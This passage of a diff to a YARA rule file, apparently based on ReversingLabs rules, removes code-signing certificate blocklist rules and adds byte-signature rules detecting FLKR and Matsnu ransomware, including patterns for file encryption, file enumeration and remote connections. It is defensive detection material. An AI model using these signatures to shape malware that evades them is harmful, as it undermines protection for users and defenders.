6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 8B 7D ?? 0F 57 C0 66 0F 13 45 ?? + C7 45 ?? ?? ?? ?? ?? 8B C7 83 7F ?? ?? 72 ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? + 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 75 ?? FF 15 ?? ?? + ?? ?? 32 DB E9 ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 + ?? 8D 8E ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8E ?? ?? ?? ?? 6A ?? 8D + 41 ?? 50 6A ?? 8D 56 ?? 51 52 89 55 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 53 FF 15 + ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 8D 45 ?? 8B CE + 50 E8 ?? ?? ?? ?? EB ?? 85 C9 7F ?? 7C ?? 3D ?? ?? ?? ?? 77 ?? 6A ?? EB ?? 6A ?? 8D + 45 ?? 8B CE 50 E8 ?? ?? ?? ?? 8B 75 ?? 8A D8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 83 + CE ?? 89 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D7 8D 4D ?? E8 ?? ?? ?? ?? + 83 C4 ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 83 7F ?? ?? 72 ?? 8B 3F 50 57 FF 15 ?? ?? + ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? + 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? + 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 FE ?? 74 ?? 56 FF 15 + ?? ?? ?? ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? CC CC CC 55 8B EC 83 E4 ?? 81 EC + } + $encrypt_files_p2 = { + A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B 5D ?? 56 57 8B F9 89 5C 24 ?? 6A ?? + 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 8B 17 8B 47 ?? 2B C2 50 52 FF 33 FF 15 ?? ?? + ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 + CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B 44 24 ?? 8B 57 ?? 8B 0F 89 44 24 ?? 89 54 24 + ?? 89 4C 24 ?? 85 C0 7E ?? 8B D8 8B 47 ?? 8B F3 2B 47 ?? 3B D8 52 0F 43 F0 8D 47 ?? + 56 51 50 E8 ?? ?? ?? ?? 56 FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 2B DE + 8B 54 24 ?? 03 CE 83 C4 ?? 89 4C 24 ?? 85 DB 7F ?? 8B 5C 24 ?? 6A ?? 6A ?? 0F 57 C0 + 66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 33 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? + 85 C0 75 ?? FF D6 89 43 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 89 44 24 ?? A1 ?? ?? ?? ?? + 89 44 24 ?? 8D 87 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 4C 24 ?? ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 89 43 ?? 6A ?? 8D 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF 37 FF 33 FF 15 ?? ?? ?? ?? 85 C0 75 ?? + FF D6 89 43 ?? 32 C0 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 + ?? ?? 8B 8C 24 ?? ?? ?? ?? B0 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FAN-CHAI, TOV" and pe.signatures [ i ] . serial == "08:dd:cc:67:f8:ca:d6:92:96:07:e4:cd:a2:9b:35:03" and 1564310268 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_052242Ace583Adf2A3B96Adcb04D0812 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_FLKR : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects FLKR ransomware." author = "ReversingLabs" - id = "22104929-e2c5-565c-975c-826f666e78e2" - date = "2020-08-05" - modified = "2023-11-08" + id = "7f3abcd0-8dfa-5914-9ad0-566c16c2e2ab" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4252-L4268" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FLKR.yara#L1-L71" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e1593a2bf375912e411d5f19d9e232c6b87f0897bb6f1c0b0539380b34b05af5" + logic_hash = "4ab00ba82baceec9899556d3a774ec08c83c10930cec194e18e3b4e16ebacb58" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "FLKR" + tc_detection_factor = 5 importance = 25 + strings: + $search_and_encrypt_p1 = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 8B BC 24 ?? + ?? ?? ?? 57 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 44 + 24 ?? FF D5 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? + ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 54 24 ?? 52 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51 + 57 C6 04 07 ?? FF D5 F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84 + C0 0F 85 ?? ?? ?? ?? 8A 0F 33 D2 84 C9 74 ?? BE ?? ?? ?? ?? 8B C7 2B F7 88 0C 06 8A + 48 ?? 40 42 84 C9 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 82 ?? ?? ?? ?? ?? C6 82 ?? + ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 + 74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 68 ?? ?? ?? ?? 57 FF D5 57 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 38 44 24 ?? 74 + } + $search_and_encrypt_p2 = { + 40 80 7C 04 ?? ?? 75 ?? 8A 4C 04 ?? 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? + ?? 75 ?? 80 7C 04 ?? ?? 74 ?? 80 F9 ?? 75 ?? B3 ?? 38 5C 04 ?? 75 ?? 80 7C 04 ?? ?? + 75 ?? 80 7C 04 ?? ?? 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 05 ?? ?? ?? ?? E9 ?? + ?? ?? ?? FF 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? B3 ?? B2 ?? 80 F9 ?? 75 ?? 38 5C 04 ?? 75 + ?? 80 7C 04 ?? ?? 75 ?? 38 5C 04 ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? + 80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 75 ?? 32 D2 80 F9 ?? 75 ?? 80 7C 04 ?? ?? 75 ?? + 80 7C 04 ?? ?? 75 ?? 80 7C 04 ?? ?? 0F 84 ?? ?? ?? ?? 84 D2 0F 84 ?? ?? ?? ?? 8A 0F + 33 D2 84 C9 74 ?? 8D B4 24 ?? ?? ?? ?? 8B C7 2B F7 8D A4 24 ?? ?? ?? ?? 88 0C 06 8A + 48 ?? 40 42 84 C9 75 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 0F B6 + 05 ?? ?? ?? ?? C6 84 14 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 8B 15 + ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 33 C0 6A ?? 89 8C 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? + ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 68 ?? ?? ?? ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B 0D ?? + ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B E8 A1 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 8B 0D ?? ?? ?? + ?? 89 84 24 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? + ?? 89 8C 24 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? 8D 74 24 ?? 89 6C 24 ?? 66 89 + } + $search_and_encrypt_p3 = { + 94 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 51 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? + 52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 + E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 56 + 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 + 8D 84 24 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A + ?? 51 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 56 E8 ?? ?? ?? ?? 8B 7C 24 ?? 83 C4 ?? FF 05 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 + FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 2B F0 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 03 + C6 50 8D 8C 24 ?? ?? ?? ?? 51 8B D1 52 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 85 C0 75 ?? FF 05 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 55 E8 ?? ?? + ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8B 74 24 ?? 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 56 FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FAN-CHAI, TOV" and pe.signatures [ i ] . serial == "05:22:42:ac:e5:83:ad:f2:a3:b9:6a:dc:b0:4d:08:12" and 1573603200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $search_and_encrypt_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Bebef5C533Ce92Efc402Fab8605C43Ec : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Matsnu : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Matsnu ransomware." author = "ReversingLabs" - id = "59d3dd01-47bc-59ee-8fe7-fd5b1af8f9f4" - date = "2020-08-05" - modified = "2023-11-08" + id = "2f0bddd5-bd48-5d38-84f4-2dbccbe04a46" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4270-L4288" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Matsnu.yara#L1-L116" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "daa57ad622799467c60693060e6c9eea18bdf0bb26f178e8b03453aab486ccf4" + logic_hash = "76ef1b4a292f27ccd904e80f0279a7a327f7399a21f2266ef3ea959e5339ffac" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Matsnu" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO VEKTOR" and ( pe.signatures [ i ] . serial == "00:be:be:f5:c5:33:ce:92:ef:c4:02:fa:b8:60:5c:43:ec" or pe.signatures [ i ] . serial == "be:be:f5:c5:33:ce:92:ef:c4:02:fa:b8:60:5c:43:ec" ) and 1587513600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_1D3F39F481Fe067F8A9289Bb49E05A04 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "0c4b6efb-c793-5505-bcd6-f62266c984c6" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4290-L4306" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2fdf8b59d302d2ce81a1e9a5715138adc1ec45bd86871c4c2e46412407e329f9" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $remote_connection = { + 55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 6A ?? 50 + FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 7D ?? 57 56 FF 93 ?? ?? ?? ?? 85 C0 74 + ?? 57 8D BB ?? ?? ?? ?? 89 07 5F EB ?? 8D B3 ?? ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ?? + 89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? EB ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? 57 FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 + 57 FF 93 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 50 57 FF 93 ?? ?? ?? ?? 85 + C0 74 ?? C6 00 ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8D 93 ?? ?? + ?? ?? FF 75 ?? 52 51 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 4D ?? 51 57 E8 ?? + ?? ?? ?? 85 C0 74 ?? 89 45 ?? 8D 4D ?? 51 50 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF + 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 89 85 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? + ?? 8B 45 ?? 8B 75 ?? 89 06 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 83 BD ?? + ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 83 ?? ?? ?? ?? 50 56 FF + 93 ?? ?? ?? ?? 85 C0 74 ?? 40 57 8D BB ?? ?? ?? ?? 89 07 5F E9 ?? ?? ?? ?? 8D B3 ?? + ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ?? 89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8D 83 ?? ?? ?? ?? 8B 00 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? + ?? ?? C9 C2 + } + $crypto_file = { + 55 89 E5 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? + C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? E8 + ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 85 C0 74 ?? 89 45 ?? 8D 83 ?? ?? ?? ?? 8B 00 + 85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 4D ?? 51 56 57 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? + 89 45 ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? FF 75 ?? + FF 93 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 45 + ?? 8B 5D ?? C9 C2 + } + $crypt_file = { + 55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 5B 8D BD ?? ?? ?? ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D B3 ?? ?? ?? + ?? 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 30 FF 93 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 6A ?? + FF 31 50 FF 36 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 8D B5 ?? ?? ?? ?? 51 6A ?? FF 36 68 ?? ?? ?? ?? FF 30 FF 93 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45 + ?? 6A ?? FF 75 ?? FF 93 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF + 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8D 7D ?? 8D 75 ?? 8D 55 + ?? 52 56 57 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D + 45 ?? 6A ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 + ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 7D ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 57 FF 75 ?? 6A ?? 6A + ?? 6A ?? FF 36 FF 93 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 75 ?? + FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 55 ?? 52 56 57 + FF 75 ?? FF 93 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D B3 ?? + ?? ?? ?? FF 06 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 50 FF 93 ?? ?? ?? ?? + 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2 + } + $enum_files_1 = { + 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B E8 ?? + ?? ?? ?? 8D 7D ?? 6A ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D 7D ?? 57 FF 93 ?? ?? ?? ?? + 83 F8 ?? 74 ?? EB ?? 8D 75 ?? 56 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2 + } + $enum_files_2 = { + 55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? + 66 C7 45 ?? ?? ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 83 7D ?? ?? 0F 84 + ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 C0 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56 + FF 75 ?? FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? + 0F 84 ?? ?? ?? ?? 89 45 ?? 6A ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 55 ?? 8D B5 + ?? ?? ?? ?? 52 56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 55 ?? 8D B5 ?? ?? ?? ?? 52 + 56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 40 89 45 ?? 8D BD + ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 03 45 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56 FF 75 + ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 56 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? A9 ?? ?? ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? E8 ?? ?? ?? ?? + EB ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 + ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ?? + ?? ?? 85 C0 74 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF + 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 + ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LOGIKA, OOO" and pe.signatures [ i ] . serial == "1d:3f:39:f4:81:fe:06:7f:8a:92:89:bb:49:e0:5a:04" and 1592553220 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $enum_files_1 and $enum_files_2 and $crypto_file and $crypt_file and $remote_connection } - 